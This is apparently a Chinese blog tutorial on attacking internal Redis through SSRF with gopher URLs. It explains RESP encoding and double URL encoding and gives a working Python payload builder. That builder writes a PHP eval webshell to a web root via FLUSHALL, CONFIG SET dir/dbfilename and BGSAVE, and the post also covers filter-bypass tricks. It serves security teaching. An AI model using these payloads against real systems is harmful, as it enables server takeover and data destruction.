SSRF 打内网 Redis:gopher 原理与实操

本文为教学用途,所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。 根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。

上一篇的场景是"攻击机能直连 Redis"。但真实内网里,Redis 常只监听内网 IP(bind 10.10.10.5),攻击机连不上------此时攻击通常借道一台能访问内网的 Web 服务器(SSRF)。

  • SSRF 为什么"天然够不到"Redis,瓶颈到底在哪;

  • RESP 协议逐字节看懂(这是 gopher payload 的核心);

  • 从"命令"到"gopher URL"每一步如何推出来;

  • "双重 URL 编码"到底在编码什么、哪一层吃掉了什么。

建议与《SSRF 下篇》配合阅读:那边重 SSRF 链路上游(找点、绕 WAF、302),本篇重"Redis 侧 payload 为什么长这样"。


1. 问题拆解:为什么 SSRF 打 Redis 需要 gopher

1.1 SSRF 是什么(一句话 + 一个图)

服务端请求伪造 :Web 应用接收用户给的 URL,由服务器 去请求这个 URL,但没校验目标

复制代码
攻击者                         Web服务器(有SSRF)              内网
   │ 传入 url=http://内网A/xxx      │                            │
   └──────────────────────────►    │── 服务器替我去请求 ──►  内网A
                                   │  ← 服务器帮我们"出网"      │

好处:流量从服务器发出 。内网 Redis 只信任来自这台 Web 服务器的连接(甚至只 bind 内网),攻击机直连被防火墙挡,但这台服务器能连到 Redis

1.2 瓶颈:Redis 不说 HTTP 话

Web 服务器请求 URL 时,最常用协议是 http://。但 Redis 的服务端不解析 HTTP------你发过去:

复制代码
GET / HTTP/1.1
Host: ...

Redis 会怎么回?

它把收到的每一行当"内联命令"解析,第一行 GET / HTTP/1.1 会被当成一个带 3 个参数的 GET 命令......然后大概率回错误(比如 -ERR wrong number of arguments),根本达不到我们想要的"执行命令"。

那为什么有些人用 http 也能打通?

有几种边缘情况:

a) 某些 Redis 版本/配置对畸形输入宽容,能把 HTTP 头"歪打正着"当命令(很脆、不通用);

b) 场景其实是别的服务(不是纯 Redis)。稳定、可控的方式还是 gopher :它能让我们指定任意字节流,彻底绕开"Redis 只认 RESP 文本"的限制。

1.3 gopher 是什么

gopher 是一个比 HTTP 古老的信息检索协议 ,但它有个"副作用"被安全圈看中:gopher:// 支持把任意原始字节(经 URL 编码后)直接发给目标 TCP 端口

复制代码
gopher://目标IP:端口/_后跟URL编码的原始字节流

服务器按 gopher 解析时,会把 _ 后面URL 解码后的内容原样发到目标的 TCP 连接里 。所以:gopher://10.10.10.5:6379/_PING%0d%0a = 向 10.10.10.5 的 6379 端口发送 PING\r\n

为什么前面要一个 _ 下划线?

gopher 协议格式里 host:port 后面第一个字符是"类型"(type),会被协议自己消耗掉 ,不发给目标。攻击者习惯放一个 _(也有放 1 的)把它占掉,让真正的 payload 从后面开始。也可以理解为"占位符"。测试时可先发 PING%0d%0a 看能否 PONG,不行就加 _ 再试(取决于 SSRF 点怎么拼接)。


2. RESP 协议:Redis 的"普通话"(payload 的语法)

2.1 什么是 RESP

RESP(REdis Serialization Protocol)是 Redis 客户端和服务器通信的协议,本质是 基于文本 + \r\n 换行 。我们只需要掌握"怎么把命令编码成字节"------因为 gopher 里我们要亲手写这些字节

2.2 三种最常用的帧

首字符 用途 例子(含 \r\n 的文本)
简单字符串 + 服务器回 OK、PONG +OK\r\n
错误 - 服务器回错误 -ERR ...\r\n
整型 : 返回数字 :1\r\n
批量字符串 $ 长度前缀 + 内容 $3\r\nbar\r\n
数组 * 命令参数列表 *3\r\n...

发命令时用的是"数组"帧:Redis 把"一条命令"看成"一串字符串"。

2.3 一条命令的完整编码(逐字节拆解)

SET k1 v1 为例:

复制代码
它由 3 个参数组成: SET 、 k1 、 v1
所以是: *3\r\n
然后每个参数: $长度\r\n内容\r\n
  $3\r\nSET\r\n
  $2\r\nk1\r\n
  $2\r\nv1\r\n

拼起来就是(␍␊ 表示 \r\n):

复制代码
*3␍␊$3␍␊SET␍␊$2␍␊k1␍␊$2␍␊v1␍␊

2.4 用命令对照表(以后查着写)

Redis 命令 RESP 编码(payload 原文)
PING *1\r\n$4\r\nPING\r\n
SET k1 v1 *3\r\n$3\r\nSET\r\n$2\r\nk1\r\n$2\r\nv1\r\n
GET k1 *2\r\n$3\r\nGET\r\n$2\r\nk1\r\n
CONFIG SET dir /tmp *4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$4\r\n/tmp\r\n
FLUSHALL *1\r\n$8\r\nFLUSHALL\r\n
SET shell <?php ...?> 注意:value 里含 ? $ 等字符不影响长度规则,长度按字节数算

数长度时,数字、字母、特殊字符都各算 1 字节;中文按 UTF-8 是 3 字节(一般 payload 不用中文,可忽略)。


3. 从"命令"到"gopher URL":两层编码的完整推演

3.1 为什么还要再编码一次?

RESP 文本里有大量 \r\n$*。而 URL 里:

  • 控制字符(\r\n不能直接出现 ,必须用 %0d%0a 编码;

  • 有些字符有特殊含义(? # & 等),直接放可能被解析成 URL 的一部分。

所以我们要把 RESP 文本 逐字节 URL 编码后再塞进 gopher URL。

3.2 手工推演例子:发一条 PING

复制代码
第1步:决定命令字节流
       PING\r\n                     (内联也行,数组也行,见下)
第2步:URL 编码
       %0d 是 \r,%0a 是 \n
       PING\r\n  →  PING%0d%0a
第3步:拼成 gopher URL
       gopher://10.10.10.5:6379/_PING%0d%0a

用数组形式发 PING 也一样:

复制代码
*1\r\n$4\r\nPING\r\n
→ URL 编码时:*1%0d%0a%244%0d%0aPING%0d%0a
   ($ 编码成 %24)
→ gopher://10.10.10.5:6379/_*1%0d%0a%244%0d%0aPING%0d%0a

内联还是数组?

哪种好? PING\r\n(内联)少写很多,探测友好。但含空格的命令 (如 CONFIG SET dir /tmp)必须用数组形式区分参数,否则 Redis 把整行当一个命令名。规范做法:所有命令都写成数组形式,最不容易出错。

3.3 为什么会有"双重 URL 编码"

原理:你的 payload 每经过一层"会解析 URL 的中间人",就可能被解码一次。

典型链路:

复制代码
攻击者构造 gopher URL
   └─► Web应用接收 url 参数(此时它可能已经 urldecode 一次)
          └─► 服务器(SSRF) 用该 url 发起请求(这次也会把 %xx 解一次再发)
                 └─► 最终到 Redis 的字节流

如果中间某层已经把 %0d 解码成真实回车符 ,那么后面一层再解码时,回车符里不会再含 %,于是你就少了一层编码,最终到 Redis 的不是完整 payload。

**那我怎么知道要编码几层?**做法:

  1. 先发一层编码的 payload,看目标 Redis 有没有反应(INFO/CONFIG 回显 / 端口行为 / 响应差异);

  2. 没反应/报错,就试二层编码 :把 payload 里的 % 再编成 %25%0d%250d);

  3. 逐层往上加,直到命中。

常见"双层编码"示例:如果 SSRF 点会先把参数 urldecode 一次再交给发起请求的库(该库内部再解一次),则 payload 里的 %0d%0a 要写成 %250d%250a

3.4 实操:用 curl 模拟"能发 gopher 的 SSRF 点"验证

先在本机验证 payload 语法对不对(把目标指向自己的 Redis,绕过 SSRF 中间层直接测 gopher):

复制代码
# 用 --noproxy 避免本机代理干扰(代理会把 gopher 吃掉)
env -u ALL_PROXY -u all_proxy curl -s --noproxy '*' \
  "gopher://127.0.0.1:6379/_PING%0d%0a"
# 输出: +PONG\r\n  (用 od -c 看得更清楚)
​
# 发一条 SET(数组形式)
env -u ALL_PROXY -u all_proxy curl -s --noproxy '*' \
  "gopher://127.0.0.1:6379/_*3%0d%0a%243%0d%0aSET%0d%0a%242%0d%0agk%0d%0a%242%0d%0agv%0d%0a"
# 输出: +OK\r\n
​
# 回读验证是否真的写进去了
redis-cli GET gk      # 应输出 gv

本机 curl 直连没问题 → 说明 payload 本身正确;到了真实 SSRF 点不生效 → 问题在中间层/编码层数,而不是命令写错。


4. 在内网写 WebShell 的完整链路(串联前面所有知识)

把上一篇的"写 WebShell"命令,全部翻译成 gopher payload,一条条拼进 gopher URL(用 \r\n 或数组形式均可)。下面是思想演示,用数组形式逐步叠加:

复制代码
# 命令1:清库(让落盘的 rdb 干净些)
FLUSHALL
​
# 命令2:把一句话木马写进 key
SET shell <?php @eval($_POST["x"]);?>
​
# 命令3:dir 指到 web 根目录
CONFIG SET dir /var/www/html/
​
# 命令4:改文件名
CONFIG SET dbfilename shell.php
​
# 命令5:落盘
BGSAVE

在 Python 里自动把"多条命令"打包成一个 RESP 字节流再编码(这就是为什么安全圈用 Python 脚本而不是手拼 URL):

复制代码
import urllib.parse
​
def build_payload(commands):
    # commands: list of list,如 [["SET","shell","<?php...?>"]]
    out = b""
    for cmd in commands:
        out += b"*%d\r\n" % len(cmd)
        for arg in cmd:
            arg = arg.encode()
            out += b"$%d\r\n%s\r\n" % (len(arg), arg)
    return out
​
payload = build_payload([
    ["FLUSHALL"],
    ["SET", "shell", "<?php @eval($_POST['x']);?>"],
    ["CONFIG", "SET", "dir", "/var/www/html/"],
    ["CONFIG", "SET", "dbfilename", "shell.php"],
    ["BGSAVE"],
])
​
gopher_url = "gopher://10.10.10.5:6379/_" + urllib.parse.quote(payload)
print(gopher_url)
​
# 到真实 SSRF 点时,如果只通单层编码,直接用它;
# 若需双层,再 quote 一次:
gopher_url2 = "gopher://10.10.10.5:6379/_" + urllib.parse.quote(payload).replace("%","%25")

为什么抓包/回显里经常看不到 OK 也能算成功?

很多 SSRF 点不回显 Redis 的响应(或 gopher 响应被吞)。判断成功不一定看回显------去访问 WebShell(curl 那个 .php)或者看目标行为变化。这也是"间接验证"的思维。
BGSAVE 是后台,会不会还没落盘就返回?

BGSAVE 是异步的,但命令本身立即返回。真正稳妥可等 1~2 秒再访问 WebShell。也可以改用 SAVE(同步、会阻塞),演示环境更"确定"。


5. 进阶:SSRF 点不支持 gopher / 只放行 http 怎么办

如果应用层只允许 http/https 协议,gopher 直接被拦,常用绕过思路(都在SSRF 系列里讲过,这里只点 Redis 相关):

  1. 302 跳转 :找一个目标内网可访问的、能返回 302 跳转到 gopher 的 URL(如某些开放重定向/跳转接口)。注意:很多 HTTP 客户端会跟随跳转并支持 gopher,但也要看客户端实现。

  2. 协议走私 :有的场景能把 gopher 伪装成 http 前缀(大小写、换行注入)------取决于解析器,脆。

  3. 换别的可达服务:内网 Redis 连不上时,看看它旁边有没有同样能访问 Redis 的服务(比如某个用了 Redis 的应用端点),借它的手发命令------这已经是"打应用逻辑"了,超出本系列。

gopher 发出去 Redis 有响应,但页面全乱码/卡住?

正常。Redis 的 RESP 响应(+OK $...)不是 HTML,SSRF 页面把它当网页回显自然乱;有的实现会一直等连接关闭。--max-time 限制超时,用响应前后差异判断成功。


6. 排查清单(按优先级)

现象 可能原因 验证/处理
完全没反应 层数不对 / 协议被拦 本地 curl 验证 payload → 逐层加编码
-ERR Protocol error RESP 长度写错 重数字节数($n 必须=内容字节数)
-NOAUTH Redis 要密码 未授权不成立,换思路/爆破/找别的应用借道
-DENIED protected mode 目标开保护模式 Redis 打不了,回到 03 篇判断条件
能 PONG 但写文件失败 dir 不可改 / 无权限 / 版本限制 CONFIG SET dir 先探,不行转主从复刻
乱码/超时 响应非 HTML 不靠回显,用副作用验证(访问 webshell)

7. 本篇小结

  • SSRF 让服务器替我们访问内网 ;Redis 不认 HTTP,所以要用能发任意字节的 gopher

  • RESP:命令 = *数量\r\n + 每个参数 $长度\r\n内容\r\n长度必须精确

  • gopher URL = gopher://ip:port/_ + URL 编码后的 RESP 字节流

  • "双重 URL 编码"= 中间每层解码一次;到底编几层靠实验,不要硬背。

  • 先本机验证 payload,再调真实 SSRF 点的编码层数,是效率最高的排错姿势。

相关推荐
youm20031 小时前
认识Redis
redis·笔记·学习
醉颜凉2 小时前
网络安全必学:粘性MAC地址(Sticky MAC)原理与应用全解析
运维·服务器·网络·安全·web安全
宁之明起(B服)4 小时前
vulhub靶场(log4shell)
web安全
互联网叫兽4 小时前
redis深入学习二
数据库·redis·学习
迪康Defender5 小时前
政企内网终端安全建设:资产‑管控‑防护‑审计闭环能力拆解
运维·网络·安全·web安全·终端安全管理
Neighbor_OldY5 小时前
【实战复盘】文件上传漏洞检测与应急处置:校验绕过、图片马与WebShell的排查修复指南
运维·前端·web安全
hweiyu005 小时前
Redis命令:TTL
redis·缓存
深蓝电商API7 小时前
Redis 在分布式爬虫中的作用
redis·分布式·爬虫
编码者卢布8 小时前
【Azure Function】NodeJS Function大批量写入到Redis遇见丢失数据情况的分析
redis·microsoft·azure